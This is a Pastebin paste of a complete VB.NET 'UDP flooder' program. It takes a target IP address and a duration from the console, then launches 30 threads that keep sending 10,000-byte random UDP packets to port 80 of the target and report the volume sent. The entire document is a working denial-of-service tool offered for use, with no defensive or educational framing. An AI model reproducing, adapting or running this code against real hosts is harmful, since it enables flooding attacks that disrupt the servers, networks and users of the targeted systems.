Guest User

Udp-Flooder by i-manuel

a guest
Aug 13th, 2016
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Threading
  2. Imports System.IO
  3. Imports System.Text
  4. Imports System.Net, System.Net.Sockets
  5. Module Main
  6.  
  7.     Sub Main(ByVal args As String())
  8.         Dim Misc As New Misc
  9.  
  10.         Dim packet As Byte() = Encoding.UTF8.GetBytes(Misc.getRandomString(10000))
  11.  
  12.         Dim input As String
  13.         Dim _params As String()
  14.  
  15.  
  16.         While True
  17.             input = Console.ReadLine
  18.             If input.Contains(" ") Then
  19.                 _params = input.Split(" ")
  20.  
  21.                 Try
  22.                     If Integer.Parse(_params(1)) > 0 Then
  23.                         Dim UdpFlooder As New Flooder(_params(0), 80, Integer.Parse(_params(1)), 30, packet)
  24.                     Else
  25.                         Console.WriteLine("Current time: {0}, Format: 1/{1}",
  26.                                           Integer.Parse(_params(1)), Integer.MaxValue)
  27.                     End If
  28.                 Catch ex As Exception
  29.                     Console.WriteLine("Syntax error")
  30.                 End Try
  31.             End If
  32.         End While
  33.     End Sub
  34.  
  35.     Public Class Misc
  36.         Public Function getRandomString(ByVal length As Integer) As String
  37.             Dim output As New StringBuilder
  38.             Dim chars As String = "abcdefghijklmnopqrstuvwxyz"
  39.             Dim rand As New Random
  40.  
  41.             For i As Integer = 1 To length
  42.                 output.Append(chars(rand.Next(0, chars.Length)))
  43.             Next
  44.  
  45.             Return output.ToString
  46.         End Function
  47.     End Class
  48.  
  49.     Public Class Flooder
  50.         Private _UdpClient As UdpClient
  51.         Private _IPEndPoint As IPEndPoint
  52.         Private _packet As Byte()
  53.  
  54.         Private clock As Status
  55.  
  56.         Private Shared curr_packetCount As Integer
  57.  
  58.         Public Sub New(ByVal addr$, ByVal port As Integer,
  59.                        ByVal time As Integer, ByVal threads As Integer, ByVal packet As Byte())
  60.             Me._UdpClient = New UdpClient
  61.             Me._IPEndPoint = New IPEndPoint(IPAddress.Parse(addr), port)
  62.             Me._packet = packet
  63.  
  64.             clock = New Status(time)
  65.  
  66.             Dim _thrd As Thread
  67.             For i As Integer = 1 To threads
  68.                 _thrd = New Thread(AddressOf start)
  69.                 _thrd.Start()
  70.  
  71.                 Console.WriteLine("Thread {0} started!", i)
  72.             Next
  73.  
  74.         End Sub
  75.  
  76.         Private Sub start()
  77.  
  78.             While Me.clock.getStatus
  79.                 Try
  80.  
  81.                     Me._UdpClient.Send(Me._packet, Me._packet.Length, Me._IPEndPoint)
  82.                     curr_packetCount += 1
  83.  
  84.                     Console.WriteLine("{0} KB sent to {1}:{2}", Me._packet.Length / 1000, Me._IPEndPoint.Address,
  85.                                       Me._IPEndPoint.Port)
  86.                 Catch : End Try
  87.             End While
  88.         End Sub
  89.  
  90.         Public Shared Function getCurrPacketCount() As Integer
  91.             Return Flooder.curr_packetCount
  92.         End Function
  93.     End Class
  94.  
  95.     Public Class Status
  96.  
  97.         Private result As Boolean
  98.         Private max_time As Integer
  99.  
  100.         Public Sub New(ByVal time As Integer)
  101.             Me.result = True
  102.             Me.max_time = time
  103.  
  104.             Dim clock As New Thread(AddressOf start)
  105.             clock.Start()
  106.         End Sub
  107.  
  108.         Private Sub start()
  109.             For i As Integer = 1 To Me.max_time
  110.                 Console.Title = String.Format("Time: {0}/{1}, Packets: {2}", i, Me.max_time,
  111.                                               Flooder.getCurrPacketCount)
  112.                 Thread.Sleep(1000)
  113.             Next
  114.  
  115.             Console.Title = "Stopped!"
  116.             Me.result = False
  117.         End Sub
  118.  
  119.         Public Function getStatus() As Boolean
  120.             Return Me.result
  121.         End Function
  122.     End Class
  123. End Module
Advertisement
Add Comment
Please, Sign In to add comment